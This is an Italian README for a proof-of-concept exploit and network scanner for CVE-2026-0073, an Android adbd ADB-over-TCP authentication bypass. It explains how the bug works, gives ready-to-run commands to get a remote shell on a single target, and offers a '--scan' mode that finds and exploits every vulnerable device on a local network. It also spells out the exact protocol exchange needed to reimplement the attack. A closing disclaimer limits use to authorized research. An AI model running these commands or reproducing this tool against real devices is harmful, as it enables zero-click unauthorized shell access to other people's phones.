
Uno strumento PoC per la CVE-2026-0073 su dispositivi Android 11+ che consente un RCE istantaneo zero click su qualsiasi dispositivo non patchato con adb over tcp abilitato.
Una proof-of-concept di exploit e uno scanner di rete per CVE-2026-0073, una vulnerabilità critica di esecuzione remota di codice zero-click e senza interazione nel percorso di autenticazione ADB-over-TCP di adbd su Android.
La vulnerabilità è un bug logico in adbd_tls_verify_cert() (daemon/auth.cpp) dove EVP_PKEY_cmp() viene trattato come un predicato booleano. Quando una chiave RSA memorizzata viene confrontata con un certificato client TLS non-RSA (EC P-256 o Ed25519), l'API restituisce -1 (mancata corrispondenza di tipo), che è truthy in C/C++. Questo promuove una mancata corrispondenza tra algoritmi in una corrispondenza riuscita della chiave host — bypassando completamente l'autenticazione.
Dettagli tecnici ottenuti da BARGHEST.
Codice PoC di base proveniente da SecTestAnnaQuinn.
Corretto nel bollettino di sicurezza Android — maggio 2026.
Dal contesto shell un attaccante può ispezionare le proprietà di sistema, lo stato dei processi, i log, le notifiche; installare e rimuovere pacchetti; usare run-as contro applicazioni debuggabili; e preparare sfruttamenti successivi.
| File | Scopo |
|---|---|
adb_tls_auth_bypass.py | PoC di exploit per singolo target (originale di SecTestAnnaQuinn, corretto per checksum) |
adbt_scanner.py | Scanner di rete — rileva dispositivi vulnerabili + li sfrutta |
requirements.txt | Dipendenze Python |
Affinché l'exploit abbia successo, il dispositivo Android target deve avere:
adbd della piattaforma)/data/misc/adb/adb_keys# Crea l'ambiente virtuale
uv venv
# Attivalo
source .venv/bin/activate
# Installa le dipendenze
uv pip install -r requirements.txt
Dipendenze:
Lo scanner degrada con grazia quando i pacchetti opzionali mancano — avviserà e ripiegherà su metodi alternativi (comando ip di sistema, nmap, scansione di connessione TCP).
Attacca direttamente un dispositivo vulnerabile noto.
python3 adb_tls_auth_bypass.py 192.168.1.42 # shell interattiva
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
Oppure tramite lo scanner:
python3 adbt_scanner.py --host 192.168.1.42 # shell interattiva
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
Scansiona la rete locale per dispositivi vulnerabili e sfrutta tutti i target confermati.
# Scansione completa: mDNS → ARP → scansione porte → probe ADB → exploit
python3 adbt_scanner.py --scan
# Esegui un comando specifico su tutti i dispositivi vulnerabili
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# Solo ricognizione — rileva ma non sfruttare
python3 adbt_scanner.py --scan --no-exploit
# Scansiona più porte
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# Sovrascrivi la sottorete rilevata (host multi-homed, intervalli specifici)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# Regola i timeout per reti lente
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# Estendi la finestra di ascolto mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60
# Salta fasi di rilevamento specifiche
python3 adbt_scanner.py --scan --no-mdns # salta mDNS, solo ARP
python3 adbt_scanner.py --scan --no-arp # salta ARP, solo mDNS
--scan Scansiona la rete per dispositivi vulnerabili + sfrutta
--host HOST Exploit diretto su singolo target
--port PORT Porta ADB per la modalità --host (predefinita: 5555)
--cmd COMMAND Comando shell da eseguire
-v, --verbose Logging dettagliato
--mdns-timeout SECONDS Durata di ascolto mDNS (predefinita: 30)
--ports PORTS Porte separate da virgole in modalità --scan (predefinita: 5555)
--subnet CIDR Sovrascrivi la sottorete rilevata (es. 192.168.2.0/24)
--connect-timeout SECONDS Timeout di connessione TCP (predefinito: 2.0)
--probe-timeout SECONDS Timeout del probe ADB (predefinito: 3.0)
--arp-timeout SECONDS Timeout dello sweep ARP (predefinito: 3)
--no-mdns Salta il rilevamento mDNS
--no-arp Salta lo sweep ARP + scansione porte
--no-exploit Fermati dopo la fase di probe del protocollo ADB
┌─────────────────────────────────────────────────────────────┐
│ 1. Rilevamento sottorete — netifaces → ip route → trucco socket │
│ 2. Listener mDNS — _adb-tls-connect._tcp (30s predefinito) │
│ 3. Sweep ARP — scapy.arping → nmap -sn │
│ 4. Scansione porte — connessione TCP a ogni host:porta │
│ 5. Probe protocollo ADB — invia CNXN, classifica la risposta │
│ │
│ STLS → VULNERABILE (procedi all'exploit) │
│ AUTH → autenticazione ADB legacy (non questa CVE) │
│ CNXN → aperto, nessuna autenticazione (già accessibile) │
│ NO_ADB → non è un servizio ADB │
│ │
│ 6. Sfruttamento — upgrade TLS → bypass autenticazione → shell │
└─────────────────────────────────────────────────────────────┘
mDNS è il metodo di identificazione più accurato: quando il debug wireless è associato, Android trasmette esplicitamente _adb-tls-connect._tcp. Lo sweep ARP + la scansione delle porte funge da ripiego catch-all.
Fase 1 — ADB in chiaro
Client → CNXN(payload="host::features=...")
Device → STLS (upgrade a TLS richiesto)
Fase 2 — TLS 1.3 con certificato client cross-algoritmo
Client → risposta STLS
Client → handshake TLS 1.3 + certificato client EC P-256
Device chiama adbd_tls_verify_cert():
known_evp = chiave RSA da /data/misc/adb/adb_keys
evp_pkey = chiave EC P-256 dal certificato client
EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (mancata corrispondenza di tipo)
if (-1) → verified = true ← BUG: -1 è truthy
Fase 3 — Livello servizio ADB post-TLS
Client drena il CNXN del dispositivo (trasporto già online)
Nessun CNXN host inviato (attiverebbe il kick di handle_new_connection)
Client → OPEN(local_id, window=32MB, payload="shell:\x00")
Device → OKAY → stream shell stabilito
shell (uid=2000). Il compromesso del kernel, l'accesso root e le chiavi del keystore supportate da hardware richiedono un'elevazione aggiuntiva./data/misc/adb/adb_keys. Un dispositivo appena resettato con debug wireless abilitato ma mai associato non è vulnerabile.AUTH, non STLS, e non sono interessati da questa CVE.EVP_PKEY_cmp per richiedere un valore di ritorno esattamente == 1.Questo software è fornito esclusivamente per scopi educativi e di ricerca sulla sicurezza autorizzata. Gli strumenti e il codice in questo repository sono intesi ad aiutare professionisti della sicurezza, ricercatori e proprietari di dispositivi:
Non devi usare questo software:
L'accesso non autorizzato a sistemi informatici è illegale nella maggior parte delle giurisdizioni e può comportare sanzioni penali e civili. Gli autori e i contributori non si assumono alcuna responsabilità per uso improprio, danni o conseguenze legali derivanti dall'uso di questo software.
Usa in modo responsabile. Conosci il tuo target. Ottieni il permesso.
CC0 1.0 Universal — Nessun diritto riservato.
Nella misura consentita dalla legge, gli autori hanno rinunciato a tutti i diritti d'autore e ai diritti correlati o vicini a questo lavoro.
| Attributo | Dettaglio |
|---|
| Vettore di attacco | Rete (adiacente / prossimale) |
| Interazione | Nessuna (zero-click) |
| Privilegio ottenuto | utente shell (uid=2000), SELinux u:r:shell:s0 |
| Primitiva di exploit | Accesso remoto alla shell tramite ADB |
| CVSS | Critico (9.8) |
| Pacchetto | Usato da | Richiesto? |
|---|
cryptography | Entrambi gli script (generazione certificato EC, TLS) | Sì |
netifaces | Scanner (rilevamento sottorete) | Preferito |
zeroconf | Scanner (rilevamento mDNS) | Preferito |
scapy | Scanner (sweep ARP) | Preferito |